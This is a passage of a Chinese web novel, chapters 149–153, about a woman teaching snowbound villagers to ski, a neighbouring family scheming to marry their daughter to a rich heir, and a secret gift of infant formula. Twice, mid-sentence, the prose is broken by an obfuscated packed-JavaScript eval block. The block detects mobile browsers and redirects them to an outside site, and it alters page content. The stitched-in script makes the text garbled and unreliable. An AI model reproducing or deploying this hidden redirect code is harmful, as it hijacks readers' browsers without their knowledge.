可以说是这群人里头学得最好的。 程三狗得知自己被留下来时,得意急了:“老子就是厉害。” 他从小鹿山上下跑,脚底下工夫比别人强多了。 被选中的人欢欢喜喜回家了,没选中的垂头丧气,看到的村民跑去问能不能把滑雪板给他们家,这样自家就不用再费事了。 落选的人里头,有家里还有兄弟媳妇没来的,自然不肯,像是那种家里没合适人选的,只能答应,他们还等着对方学成后,看在滑雪板的份儿上,上鹿山砍到柴,能照应他们一二。 程诺管不了村民们的交易,她累了一天浑身酸疼,一想到这样的日子还有好些天,“啊”的一声长叹,整个人趴在餐桌上起不来了。 赵氏抱着个坛子进屋,掀开盖子,里头是满满一坛泛着乳白猪油的大块五花肉,笑眯着眼:“四娘,缸子里的肉真漂亮,像是……像是雪地里的萝卜?” 程云跑过来,嘲笑起母亲蹩脚的形容:“什么萝卜,肉那么贵怎么会像萝卜,要我说,像大片的梅花,深冬山上的野梅,就是这个颜色的。” 怕他娘不信,程云拉过十七:“十七叔,你瞧缸子里的肉像什么?” 十七目光一直落在趴在桌上快睡着的人身上,突然被人拉住胳膊,回过神,眉心一跳,很快恢复神色,看向程云所指方向。 “恩,更像玉琢珊瑚。” “珊瑚?珊瑚长什么样?”程云和赵氏不约而同望向男人。 十七解释:“红色的,一种海里的植物,被打捞上来,当成观赏品。” 程云点点头:“哦~光听名字就知道很漂亮,以后有机会,我也要搞一个。” 程诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429229|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡意朦胧中,下意识回复:“不仅好看,还很贵呢,相传红色珊瑚是鲛人血泪所化,又叫相思血泪,一般是男子送给女子表达感情坚贞不渝的见证。” 越说程云越感兴趣,他正是情窦初开的年纪,不知想到什么,微红着脸:“这样啊……” 灶台间,只剩程诺和赵氏。 赵氏将两大块冻肉挖出来,不用放油,贴着热锅底煎到半软,捞出来切成大小均匀的肉片,淋上酱油,撒上葱花,放到蒸笼上加热。 间隙,赵氏突然问道:“四娘,阿云是不是有中意的姑娘了?” 程诺一愣:“没有吧,他还是个孩子呢。” “过了年,阿云有十五了,是大小伙了,”赵氏在脑海中将村里适龄的姑娘一一筛选,直到锅里的缸子肉煮熟,也没想出是谁,“到底是谁啊?要是咱村里的,我这个当娘的,得给他打算起来了,娶妻生子有得我忙活。” 程诺思维还停留在上一世,十五岁的男孩,刚上高中的年纪,情窦初开说得过去,结婚生子有些夸张了。 “嫂子,再等两年吧,等阿云学会门像样的手艺,有能力养活自己,上门求亲时女方家挑不出理。” 赵氏已经沉浸在儿子娶妻,她当奶奶的美梦中,对程诺的话置若罔闻:“老话说,先成家后立业,自然是先去个媳妇,再考虑其他事,你不知道,好女孩抢手得很,不提前定下儿女亲家,一转眼就被人抢了,哭都没得哭。” 程诺想到大哥程大壮也是十六岁成婚,二哥程二顺十七,程四娘当时十八岁出嫁,已经是村里远近闻名的老姑娘了。 罢了罢了,遇上合适的,双方你情我愿,能定就定下来吧。 被暴雪困了这么久,也该有件让全家高兴的喜事了。 第二日又是个晴好天气,只是风依旧夹带着冷意,又熬过一晚的大梨村百姓,更加坚定要跟程四娘学会滑雪,上山砍树的决心。 今日又来了十几个准备好滑板、护具和雪杖的村民,兴许是昨天溪妹的成功激发了村里妇人的热情,今日队伍里不少小媳妇,还有位梳着少女发髻的小姑娘。 第一百四十九章程 少年的心上人 “你多大了?”程诺走到少女面前,见她长相唇红齿白,眉清目秀。 只是有些营养不良,在大梨村这种遍地大老粗和蜡黄干脸妇人的小破地方,像是杂草堆里长出的小雏菊,让人忍不住多看一眼。 但也仅限是路边野花,跟大宅院里精心培育的牡丹月季没法比。 少女眉眼弯弯,有双好看的丹凤眼,回话:“我十六,过了村长最低年龄限制。” 程诺觉得她眉眼熟悉,一时想不起来在哪见过。 一旁的贵婶提醒程诺:“婵儿不常出门,你不认识正常,她是我家老贵的大侄女。”说着,贴近程诺耳边道,“他爹就是前些日子滑雪摔了脖子的高家大儿子。” 高家大儿子? 大福叔的儿子啊。 大伙儿老是大福,大贵的叫,程诺都忘了两兄弟原来的姓是高。 这两天,大福婶明里暗里对程家的不满,通过不少人的嘴传到程诺耳中,大福一家人能允许孙女跟她学滑雪? “学滑雪的事,你家人同意了吗?”程诺。 高婵儿噙着嘴角,瞧着似是个害羞的,总是垂着眉眼:“自然是同意的。” 程诺却好几次发现她在用余光偷偷打量十七。 原来,醉翁之意不在酒。 程诺没有再管,接下来的训练流程,整体跟昨日大差不差。 今天的学员还算听话,淘汰掉两三个明显不符的村民后,剩下的整体素质比前一天强很多。 一上午时间,选出六个符合条件的。 其中就有那个叫高婵儿的小姑娘。 她天赋不算好,雪地里摔的次数比谁都多,好在坚持到最后。 一般情况下,为了男女大防,妇人摔了都是程诺去扶,汉子交给十七,今天出现意外。 就是这么巧,每回有妇人摔在地上,高婵儿的摔跤必定紧随其后,还刚好倒在离程诺有段距离,却恰好在十七伸手就能够到的范围内。 一次两次是巧合,次数多了,傻子也品出味了。 在高婵儿又一次“巧妙”摔在十七脚边时,她娇羞中带着无奈地伸出手:“劳烦十七哥了。” 高婵儿如愿被男人从雪堆里扶起来,弯腰朝对方做揖,只是脚上套着滑雪板,身上又戴满了防护工具,使得她这个揖不伦不类,看得人直蹙眉。 “十七哥,你看我这样滑对不对?” “十七哥,雪掉进人家脖子里了,啊,好凉……” “十七哥……十七哥……” 少女嗓音婉转清透,听得程诺一阵牙酸,身体跟着打了个冷颤。 不能再看了,再看午饭都吃不下去。 程诺一转头,看见房梁下不远处站着个少年,不知来了多久,冻得两腮鼻尖一片通红,跟个木头桩子一样死死定在原地,视线却一直追随一个方向,眼神里有幽怨,还有一丝嫉妒。 程诺脑海中响起最晚赵氏的话。 “阿云是不是有中意的姑娘了?” 不好,程云的心上人,不会是高婵儿吧? 一想到大福叔一家人的嘴脸,她不免在心里为赵氏担忧,大嫂找儿媳妇的美梦,怕是没那么容易实现了。 —— 高大福家。 刚结束滑雪练习的高婵儿,走进院门。 她娘,高家大儿媳妇裘氏立马迎上来,替女儿拍打肩膀上落下的积雪:“婵儿辛苦了,午饭做好了,等着你回来吃呢。” 高婵儿走进厨房,果真瞧见一家人围在餐桌前,各个盯着桌上稀得比清水强不了多少的清粥,眼神放光。 见到她回来,大福婶紧张地问:“学得怎么样了?” 高婵儿倨傲的抬抬下巴:“选上了。” 一家子的表情终于松懈下来,裘氏颇为骄傲:“我早说了,婵儿一定行的,我女儿最聪明了。” 二房三房这回没说话,她们也很希望高婵儿能选上,这是关乎到全家兴旺的大事。 大福婶痛快地给大孙女盛一碗最稠的粥,亲自端到高婵儿面前:“婵儿辛苦了,多吃点补补身子。” “谢谢阿奶。” 高婵儿见到面前半水半粥的碗,再看几个毛头小子明显比她浅了一层的碗底,还有几个妹妹肉眼能数清米粒的薄粥,高婵儿扯出一抹讽刺的笑,能从这老虔婆手里讨吃的,真不容易。 饭桌上,只剩下吸溜吸溜的吃饭声。 除了食量不大的高婵儿,每个人连个半饱都没混上。 大福婶看着孙子面黄肌瘦的脸颊,一阵心疼,冲高婵儿道:“婵儿,到底什么时候才能学会滑雪去镇上,你几个弟弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429230|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪小,总跟着我们吃不饱,会影响以后长个子的!” 高家男人个头普遍不行,几乎成了每一代的执念。 高婵儿心里冷笑,装模作样连一顿饭的功夫都没坚持下来,重男轻女的本性又暴露了,若不是看她有价值,能带领全家人脱离苦海,奶奶怕是连口薄粥都舍不得给她吃,就跟二房三房几个堂妹一样,饿死也不会让奶奶眨眨眼。 再看貌似关心她的亲娘,不过也是为了弟弟考虑,平时何曾见她今日这般和颜悦色过。 裘氏见女儿神情有异,心不禁跟着提起来,向婆母使了个眼神。 大福婶心领神会,道:“好了,这里没男人们什么事,让我们几个说说话。” 男人们知道她们要聊的话题是什么,虽好奇,却不好多听。 等人走后,屋里只剩下三房媳妇,大福婶和高婵儿。 裘氏又将昨晚抓着问了无数遍的问题,问出口:“婵儿,你跟娘说实话,镇上洪员外看上你的事,是不是真的?” 这不但是裘氏关心的事,简直是全家抓住的救命稻草。 不仅镇上,连周边几个村子的百姓都知道,洪员外家财万贯,只有一个独子,百年之后硕大家业都得交给儿子打理。 高婵儿如果能嫁进去,高家还愁吃不饱穿不暖吗? 高婵儿害羞地点点头:“洪家的小厮亲自向我打听,问我家住何方,姓甚名谁,说他是洪员外府里的,他们家主子有意……” 接下来的话,一个未出阁的姑娘不好意思说出口,在座的妇人们却是过来人。 一个男人让小厮打听姑娘家事,除了看中她还能因为什么。 大福婶一颗心落到肚子里,笑得脸都烂了,忍不住埋怨孙女没早点说,她好多痛快两天:“这么大的事,你怎么不早说?” 高婵儿:“我也不确定人家会不会来,说早了,怕爷奶爹娘失望。” 她没撒谎,是真摸不准。 在大梨村,高婵儿对自己的长相有信心,说是村花不为过,可出了大梨村,她还是有自知之明的。 “洪少爷从小锦衣玉食,见过的漂亮姑娘不胜枚举,听说有钱人家连贴身丫鬟长得都标志,为何会对我一个乡野丫头一见钟情?”高婵儿搅了搅衣角。 第一百五十章 天上掉馅儿饼的好事 裘氏年轻时候长得不错,曾一度也有机会当富户家的小妾,只是当时心气高,不肯给人做小,宁可嫁给匹夫泥腿子,现在过了半辈子的苦日子,才知当初的心气狗屁都不是。 她对女儿的容貌有自信,劝慰道:“怎么不可能,说不定洪少爷看惯了蔷薇牡丹,就好咱这路边野花,乡下丫头有乡下丫头独有的魅力。” 高婵儿眉头紧皱,她娘说话真不中听,她怎么就路边野花了。 大福婶心里一直有个疑虑,趁着氛围轻松,问出口:“这……婵儿啊,洪家小厮有没有说,是三媒六聘,还是……” 言下之意,是娶她当妻子,还是只纳个妾。 这两者的差距可谓天壤之别了。 对全家人来说,不管是妻是妾,都是天上掉馅饼的好事。 但万一天上掉的不是肉馅饼,而是金馅儿饼呢…… 高婵儿手指搅着半新不旧的衣角,羞红了脸:“不怕长辈们笑话,我当时也好奇,就去洪家附近打探了下,洪家门前摆摊的几个婶子都说,洪家少爷还没娶妻。” 大户人家,没娶妻之前是不会纳妾的,最多有几个通房丫头。 那高婵儿过去就是洪家正经大少奶奶了。 此话一出,有人乐疯了,有人心里嫉妒疯了,还有人抻着下巴看戏。 三房女儿才五岁,还小,嫁人早得很。 可二房的娟儿,也十五了,正是议亲的好年纪。 每回高婵儿去镇上,娟儿都是跟着一起去的,怎么洪少爷看上大房女儿,却没看上她女儿。 二房心里嫉妒地在滴血,面上维持一派和颜悦色,说着道喜的吉利话:“婵儿好福气,不愧是我们村长得最好看的姑娘,真给家里长脸,以后当了洪家少夫人,被忘了提携提携你几个兄弟,还有娟儿,你俩一起长大,姐妹情深,多帮她留意青年才俊,最好也嫁到镇上,还亲亲热热做姐妹。” 裘氏腰杆子挺起来,笑道:“当然,当然。” 三房扯出一抹笑:“婵儿,你好好学滑雪,缺什么你就说,家里人会支持你的。” 等学会了滑雪,就能去镇上,见到洪家少爷,就算不能马上成婚,靠着洪少爷对婵儿的情谊,送他们家些吃的穿的,还不是轻而易举的事。 回了屋,二房陈氏指着女儿的额头,低声骂道:“没用的东西,要是洪少爷看中的人是你,这天大的好事不就落在咱家头上了。” 娟儿捂住还在咕噜咕噜叫的肚子,懒洋洋靠在床榻上,有气无力道:“娘,天底下哪有这么好的事,什么锅配什么盖,你有责怪我的功夫,还不如去打探打探,这个洪少爷是个什么人品。” 半靠在榻上的女孩,小小一只没长开,加上长期吃不好,瞧着只有十三四岁的样子,五官勉强算端正,比起高婵儿差了不少,二人站在一处众人视线自然落在后者身上。 从小到大都是姐姐的陪衬,高娟儿早习惯了,只是她没想到姐姐竟能得到镇上员外少爷的喜欢。 是哪一回去镇上,高婵儿吸引了洪少爷的注意? 是上回买绣线,还是上上回逛市集,还是再上一回…… 都是一个山嘎达出来的,命怎么差这么多? 妒忌吗? 倒也没有,毕竟是从小一起长大的姐姐,她也希望高婵儿能过得好。 羡慕吗? 有一点。 人人都喜欢姐姐,说不羡慕是假的。 爷奶除了几个孙子,几个女孩中,唯一给点好脸色的只有高婵儿了,村里人对高婵儿的评价也很好,光大梨村,就有好几个喜欢高婵儿的少年。 想到这儿,高娟儿突然从榻上跳起来,起得太猛,一阵头晕目眩,缓了好一会儿。 陈氏沉浸在女儿先前让她去打探洪家少爷情况的话中,觉得有道理,连高娟儿什么时候离开的都不知道。 —— 程家中午吃的肉馅儿饼,里头加了香菇末调香,用猪油炸的,比从前用豆油做的更好吃。 想着晚上不用和面,赵氏做得多,足足三十张。 中午男人们一人三张,女人和程云各两张,小盼儿和阿宝人小,也吃了整整一张。 午饭结束时,赵氏特地将剩下的馅儿饼数了一遍,还剩十三张,晚上再熬点小米粥,配点咸菜就够一顿了。 下午训练开始前,程诺有一个时辰左右的休息时间,她靠在房里软垫上,听小盼儿教阿宝认字。 这些日子,在十七的教授下,小盼儿已经能认识小半百个字了,进步可谓神速,现在甚至当上老师,开始收徒了。 “这个字,就是你的名字,读‘宝’,宝物的意思。”小盼儿指着书上的一个字给阿宝看。 阿宝兴奋地睁大眼,一脸崇拜地望着小盼儿:“盼儿姐姐你好厉害。” 小盼儿嘴上谦虚,脸上的笑却藏不住内心的得意:“还好啦,我刚学,等再过段时间,十七叔说要教我写字,到时候我再来教你。” 阿宝点点头,跟小鸡啄米似的:“好,我要学,我要学。” 程诺眯着眼睛小憩,听到两个小崽子的对话,嘴角忍不住带上笑,一个敢教一个敢学。 突然,门外不远处好似响起一阵鸟叫声,像布谷鸟,又不像。 这个季节还能有鸟鸣吗? 她缓缓睁开眼,就见窗门前走过一道鬼鬼祟祟的身影,不是程云是谁。 紧接着,院中响起开门声。 没过多久,程云蹑手蹑脚走回来,却没进自己屋,反而走进厨房,不知在怀里揣了什么,左右四下打量,一副做贼心虚的模样,接着又出了门。 程诺转身对身旁两小姑娘道:“娘出去一趟,很快回来。” 另一边,站在杉叔家门外的程云,不舍地将怀里的肉馅饼掏出来,几番纠结之下,撕下一半,另一半塞回进胸口,再次踏步进小院。 等得胃疼的高娟儿,捂住小腹,她已经两个月没来葵水了,娘说是食物不足,得吃点带荤腥的。 她长得不算好看,家里也给不了助力,以后肯定是没有多少嫁妆的,要是再没有一副好身子,想找个好婆家都不成。 正想着,身后传来脚步声,高娟儿欣喜转头,见果然是去而复返的程云,手里还拿着半块饼,顿时喜上眉梢,狠狠咽了口口水。 她都不记得多久没吃过肉了,上回家里不知从哪得了两只鸡,她跟三房的婉儿,除了喝了点沾鸡汤味的刷锅水,一口鸡肉没吃到。 “给我,快给我。”高娟儿知道此刻乞丐版急切的模样不好看,但她顾不了这么多,她太饿了。 程云本想让她先将高婵儿的消息告诉他,见对方一副饿死鬼投胎的模样,还是把饼递了过去。 高娟儿一阵狼吞虎咽,面饼配上猪肉的香味,加上外层用猪肉炸过的焦香,即便此刻肉饼已经完全凉了,也丝毫不影响口感。 半块饼吃完,胃中不适得到缓解,看着油汪汪的手指,高娟儿一点不浪费,一根根放嘴里嘬起来。 刚刚不应该吃这么快的,还没尝出味儿,浪费,太浪费了。 程云看她邋遢样,眉头皱得能夹死苍蝇,“肉饼吃了,现在可以说了吧?婵儿到底怎么了?” 第一百五十一章 初恋没开始已经结束了 高娟儿砸吧两下薄薄的唇瓣,歪头看着他,叹了口气:“我姐要嫁人了。” 此话一出,如同晴天打雷,将程云劈了个外焦里嫩:“不可能!这么大的雪,她、她嫁给谁去?我、我怎么没听说婵儿有议亲对象?高娟儿,你再胡说,别想再从我这儿拿走一块吃的!” 高娟儿慌了,立马将中午趴在门缝中听到的消息透露给少年。 少年脸色黑成锅底,一个劲地摇头,似是受到重大打击:“我不信!什么洪家少爷,听都没听过!” 一定是骗人的。 高娟儿伸出手指头起誓:“我要有一句假话,罚我……罚我这辈子没肉吃!” 对方说得有鼻子有眼,不似作假。 程云脸色如丧考妣,不死心道:“那她呢,她什么意愿?”好似只要高娟儿说一句高婵儿不乐意,他就能冲进高家英雄救美。 结果让他失望了。 “我姐高兴着呢,不仅我姐,我们全家都跟中大奖似的,她来学滑雪,就是为了去镇上见洪少爷,让他借我家点米粮和柴火。” 程云像是厚重迷雾中找到一丝光亮:“所以婵儿是为了粮食和柴火,才愿意嫁给什么劳什子洪少爷的吗?” 如果只为了这个…… “我家,我家也可以……”最后关头,程云好在还保存一丝理智,没有将家底悉数倒出来。 高娟儿像看傻子似的看着他:“就算不为了米粮,我姐肯定也巴不得嫁到洪家,洪家家财万贯,又只有一个儿子,她去了就是当家主母,锦衣玉食吃香喝辣,她没有理由不乐意。” “婵儿不是这种人,她、她不会为了金钱嫁给不喜欢的人的……她都没见过洪少爷,连对方是扁是圆都不知道。” 高娟儿笑他傻:“洪少爷就是个方的,我姐也会嫁的,我劝你早点死了心,她看不上你……” 话说到一半,高娟儿嗓子堵了,因为她看到面前的少年眼眶红红,一副要哭出来的样子。 “喂喂喂……不至于吧,大男人娘们唧唧的,十里八村女孩多呢,又不是只有我姐一个。” 程云咬紧唇瓣,眼泪在眼眶中打转,他的初恋还没开始就结束了。 高娟儿急得抓耳搔腮,在程云身旁走来走去,家里小弟哭了她抱着哄哄就不哭了,可程云是个男的,她知道自己女性特征不明显,但好歹也是个女的。 “哎呦,”高娟儿一巴掌呼在程云后背上,“别哭了,我姐你娶不到,大不了你娶我嘛,她是我堂姐,我俩长得也蛮像的……” 刚说完,高娟儿恨不得扇自己一巴掌。 她在胡说什么? 没想到,这话还真有效,程云不哭了,转而一脸惊恐地望着她,眼睛仿佛在说:你说的什么屁话。 这下换高娟儿不乐意了。 “什么意思,我还配不上你了?” “噗嗤”一道笑声从二人头顶后方响起。 程云和高娟儿齐齐转身,就看到墙头上多了个笑得如花般灿烂的面容,不知趴在那儿听了多久的小话。 “小姑姑……”程云背过身,迅速擦干眼泪。 高娟儿心虚地抹了把油汪汪的嘴角,双手背在身后,脆生生喊了声:“四娘姨。” 程诺是在女孩说出那句“洪少爷就是个方的,我姐也会嫁的”时爬上墙头的。 刚开始,她还以为程云约见的是高婵儿,听着听着觉得不对劲,原来是高婵儿的堂妹,高娟儿。 相较于心思灵活,满腹小心思的高婵儿,程诺更喜欢眼前这个大大咧咧的小姑娘。 “你也是高家的?”程诺朝她扬了扬下巴。 小姑娘不忸怩,扯出一抹大大的笑:“是的,我爹是高家老二。” 程诺起了逗弄的心思:“你想嫁给我家阿云?” 高娟儿一噎,再豪爽直率,终究是个小姑娘,脸红了起来,只是她肤色较黑,看起来不太明显。 程云先羞恼起来:“小姑姑!” 程诺举起双手,表示不说了:“好好好,你们聊,我先走了。” 墙头上的脑袋缩回去,程云不敢再待下去,怕被人发现,即使乡下男女大防没那么严重,孤男寡女待在一处总归对女方名声不好,而且,他也不想让婵儿误会他跟高娟儿的关系。 “你走吧。”程云神情萎靡。 高娟儿小声试探:“那还需要我打听我姐的消息吗?”她还想再吃程家的粮食,饿肚子的感觉太难受了。 程云眼神窜起一簇火苗,没多久又熄灭了,颓丧道:“打听又能怎么样,你也说了,你姐是不会看上我的。” 不打听,那她岂不是开不了小灶了。 高娟儿看着少年提不起劲儿的样子,心里纠结得很,既希望程云继续打听,她能隔三岔五吃饱肚子,又不希望他泥足深陷,徒增伤悲。 “你喜欢我姐,就因为她长得好看,长得白净吗?” 程云当然不会承认他是这么肤浅的人:“当然不是,婵儿是个很善良,很有爱心的姑娘,她会救助受伤的小野狗,说话带着笑,对每个人和和气气的,话不多,安静又乖巧……” 她姐救助小野狗? 高娟儿记得高婵儿一碰到猫狗这些长毛的动物,身上就会起红疹,从小到大她最讨厌猫狗了。 从前有一次,高娟儿捡了一只受伤的小狗回家,第二天就被高婵儿丢了,她说野狗脏,不让她养在家里。 至于程云口中高婵儿话不多,对人和气,那是因为她瞧不上村里大多数男人,觉得跟他们多说一句话,会脏了她的舌头。 高娟儿想解释,又觉得当着外人的面说自家亲戚坏话不好。 程云也在刚才回忆高婵儿的美好品质中,重燃对她的希望。 只要她一天没嫁人,他就有机会。 “有什么消息,第一时间告诉我。”程云将怀里另外半张肉饼塞到高娟儿手上。 高娟儿一瞬间什么都忘了,大口一咬,又要囫囵吞了,想起刚才浪费的半张肉饼,放缓了咀嚼的动作,闭上眼,一脸幸福仰起头。 “我真羡慕你,你家天天都能吃好吃的。” 程云现在是失魂落魄为情所伤的少年,懒得跟高娟儿废话,丧头耷脑回去了。 高娟儿享受的吃完半块饼,唆干净手指,又塞了把雪进嘴里,没舍得吐掉,一起咽了下去,确定说话闻不出肉味,才往家方向走去。 推门进院,敏锐的高娟儿瞬间察觉到家里气氛不对劲。 第一百五十二章 奶粉救婴孩 离开前大伯母裘氏还在欢欢喜喜给高婵儿梳辫子,这会儿却满脸泪痕,反观她娘陈氏,一改先前的妒忌不满,此刻嘴角压着笑,眉眼却是上扬的,一副看好戏的样子。 “娘,出什么事了?”高娟儿低声询问母亲,没敢走太近,怕身上肉饼味没散干净。 陈氏努力压制嘴角的笑,语气惋惜:“多亏了你让我去探探洪少爷的人品,这不一问,就问出问题来了。” 她声音不小,屋里人全听见了。 一时间所有人视线落在她身上,其中两道目光含着怨恨和不满。 分别来自高婵儿和她母亲。 高娟儿忙道:“我是担心姐姐,女子出嫁前不都是要问询男方品性样貌的吗?” 言外之意,她可没存什么坏心思,她是为了高婵儿好。 裘氏显然不领情,阴阳怪气道:“就算洪家少爷不良于行,也比乡下地里刨食的泥腿子强一百倍,不是什么阿猫阿狗都能匹配得上的。” 不良于行? 洪家少爷是个瘸子? 难怪洪家会看上一个乡野丫头。 可即便洪少爷有疾,就能让高婵儿进洪家当正室吗? 高娟儿没读过书,却听过不少民间话本子,总觉得里头不对劲。 “那婵儿姐姐还要嫁过去吗?”高娟儿问。 裘氏嗓音有些尖厉:“当然要嫁。”说完似是察觉语气过了,安慰女儿道,“婵儿,你听娘说,男人的外貌是最不要紧的,你看程家那个远房亲戚,长得俊美吧,敢说十里八村找不到比他气质相貌更好的青年,那又怎么样呢,长得好能当饭吃吗?手里有银子,家里有存粮才是最要紧的。” 女儿练滑雪那天,她趴墙头看了,高婵儿的小心思,骗不过亲娘的眼睛。 年少慕少艾,裘氏觉得不是什么大事,女儿向来拎得清,今日特地将程家十七提溜出来说一遍,是怕女儿知道洪少爷是个瘸的,转而把心思放在那个穷鬼身上。 高婵儿心本就涩涩的,原以为要嫁的是个家财万贯的青年才俊,没想到是个瘸了腿的废物,二房带回来的消息还说,洪少爷长得脑满肠肥,跟俊美扯不上半点关系。 少女怀春,谁不想嫁一个品貌端庄的好男儿,洪家除了有钱,跟她的梦中人相距胜远。 倒是程家那个亲戚,那个叫十七的男人,姿容俊秀,身姿挺拔,上午短短身体接触,更让她见识到对方的强壮,除了寄人篱下一无所有这个缺点,他完美符合她对情郎的期盼。 一边是有财无貌的洪少爷,一边是有貌无财的青年。 高婵儿陷入沉思,左右为难。 好似二人都已拜倒在她石榴裙下,等着她施舍一个眼神。 最终,还是金钱的魅力战胜了外貌,她坚定道:“娘,放心吧,跟匹夫草草一生,还是选洪少爷荣华富贵一辈子,我心里有数。” 有了这话,裘氏安心了:“好孩子,你最懂事了,洪家有钱,以后有的是机会遍请名医,焉知治不好跛疾?” 高婵儿也只能这么安慰自己了。 程诺这边,经过一下午的筛选,又挑出三四个合适的村民。 如今已经组成快二十人的队伍。 第一批,二十个人足够了,等学习高难度动作后,势必还会再筛掉一部分人。 剩下的才有机会爬上鹿山,走出大梨村。 结束练习后,程诺去了趟小李家看绿草。 “四姐姐来了,快进来坐。”小李从房顶上下来,他刚在练习滑雪,见到程诺,飞快攀梯下来。 见程诺怀里抱着东西,不好意思挠头:“你、你咋又给我们带东西了?” 绿草还是没奶水,孩子每天喝米汤,胳膊瘦得让人心惊。 程诺来时,绿草刚哭过,眼圈红红的。 “产妇坐月子不能哭,以后老了眼睛会不行的。”程诺劝道。 道理绿草都懂,可看着怀里的孩子一天不如一天有劲儿,连哭泣声也比的孩子弱不少,当娘的怎能不心焦。 程诺叹了口气,起身将门窗关上,这才把怀里用布包裹的罐子装的东西放在桌上,圆柱体外形,通体裹着明净的乳白漆皮,顶盖严丝合缝地扣着。 中央凹陷处有个拇指大的钮子,按下时“咔嗒”一声脆响,便泄出丝缕奶香。 绿草的小李闻到味道,眼睛瞬间亮了。 是奶味。 小李隐约猜到这是什么东西:“这……是给绿草下奶的吗?” 程诺摇头:“这东西叫奶粉,是羊乳和牛乳做的,专门给孩子吃的。” 她让小李去烧水,亲自泡了一碗给他们看,端起碗走到襁褓中的婴孩旁。 “好香的味道。”绿草忍不住咽了咽口水。 不仅是她,怀里没什么精神的孩子,突然左右晃动着脑袋,寻找气味来源,一下子哇地哭起来,伸出比枯树枝强不了多少的小臂,朝程诺方向来回挥舞。 绿草一下子看出儿子的意愿:“他想吃。” 程诺用勺子一点点喂,小家伙喝得又快又急,呛着了也顾不上,隆起的腹部快速起伏,一碗下肚,才心满意足咂咂嘴,睡过去了。 从前喝米汤,儿子不管喂多少,每次都吃不饱,哭闹着看得人心疼,像今天这样吃完就睡的情况,第一次发生。 “四姐姐,这、这叫奶粉的东西,哪儿来的,我再去弄点,”小李看出来了,再继续喝米汤,儿子不见得能养大,但有了这东西,儿子就能活了。 程诺摇摇头:“你买不到。” “是很贵吗?”小李说完拍了下嘴巴,“我傻了,问的什么呆话,牛乳和羊乳都是金贵东西,当然不便宜。” 他说完进屋,将存银全部拿出来,一共七八两银子,是他的所以家当。 程诺知道他什么意思,还是摇摇头:“有钱也买不到。” 小李一愣。 那你是哪来的? 心里的疑问没问出口,胳膊被绿草拽住。 下一秒,绿草膝盖一弯跪在地上,扯着丈夫的衣摆,示意他一起。 小李不明所以,还是听媳妇的话照做,丝毫没有男儿膝下有黄金的不满,对面站着的是他们全家的救命恩人,跪一跪恩人而已,他心甘情愿。 绿草红了眼,朝着程诺叩了个头,程诺赶忙制止她的动作,没想到绿草坚持要行大礼。 程诺第一次体会到手足无措是什么感觉,满屋子不知该往哪儿藏。 “起来起来,你们赶紧起来。” 绿草抹了把眼泪,“接下来的话,四姐姐可能会觉得我不知好歹,但请四姐姐听我说完。” 第一百五十三章 癞蛤蟆想吃天鹅肉 媳妇头一次用如此严肃的语气跟程诺说话,小李愣怔片刻,“哐哐哐”朝地上磕了三个实诚的响头。 程诺知道今天不让他们说完,是不行了。 绿草看了眼桌上的奶粉罐子,她不是她家相公,她不傻。 若程诺手上一早有这个东西,怎么会到今天才拿出来,在她不下奶的第一天,按照程诺对她们家无私的性子,早交到她手上。 奶粉是给婴儿喝的,程家没有刚出生的孩子,这罐东西明显是特地为她准备的。 外头大雪封路,车马不行,大伙儿连村子都出不去,更不会有人进村售卖东西,那桌上的奶粉哪里来的? 绿草不敢细想,她也不愿细想。 不管面前站着的是人、是鬼、是仙,都是她们一家的救命恩人。 绿草将银子推到程诺面前:“我知道这些银子肯定不够,但我还是希望四姐姐以后常来,您侄子的命全仰仗您了,日后,不管是当牛做马,还是为您生为您死,我们一家绝无二话。还有……我嘴严,今天的事,死都不会说出去的。” 她整个人跪趴在地上,像是在寺庙道观祈福的虔诚信徒,等待着神明的施舍和怜悯。 小李脑子还晕乎乎的,学着媳妇的动作,扬声道:“绿草说的,就是我想说的。” 程诺知道小李的媳妇很聪明,来之前她已经做好奶粉会暴露秘密的准备。 若不是相信这对夫妻的人品,她今天不会来这趟。 好在,二人没让她失望,结草衔环报大恩的戏码不是她的目的,只要二人保守秘密,她会在能力范围内,不让他们的孩子饿肚子。 毕竟奶粉这东西,真的太贵了。 吞金兽不是白叫的。 —— 回到程家时,大伙儿等着她吃晚饭。 “奇怪,我记得中午明明还剩十三张饼的,”赵氏又数了一遍,还是少一张,“你们谁下午偷吃了?” 众人齐摇头,最后是程云抬起手:“我吃的,下午太饿了。” 赵氏狐疑道:“真是你吃的?” 程云没敢抬眼,微微点头。 赵氏不疑有他,自从家里丢东西后,她把吃的藏得深,除了家人,外人不可能知道,。见程云没什么异样,叮嘱道: “下次不能吃凉的,里面拌了荤油,吃了会拉肚子的。” 程云抿着嘴,直点头,思绪却飘远了。 与此同时,大福家的茅房。 “咕噜噜~咕噜噜~” 一阵又一阵此起彼伏的腹叫传出。 二房陈氏捂住鼻子,往里头塞竹木片:“死丫头,吃什么了这么臭,家里竹木片不多了,用完记得洗干净。” 高娟儿捂着打鼓般的小腹,心里把程云骂了千万遍。 更让她绝望的,是在肚子里只待了几个时辰的肉饼,她好不容易吃顿好的,还没消化全献给厕神了。 从茅厕出来时,陈氏已经忙着照顾小儿子去了。 高娟儿双腿在打颤,扶着墙根好半晌才缓过来。 她正准备离开,突然看见厕门前菜地旁站着个少女。 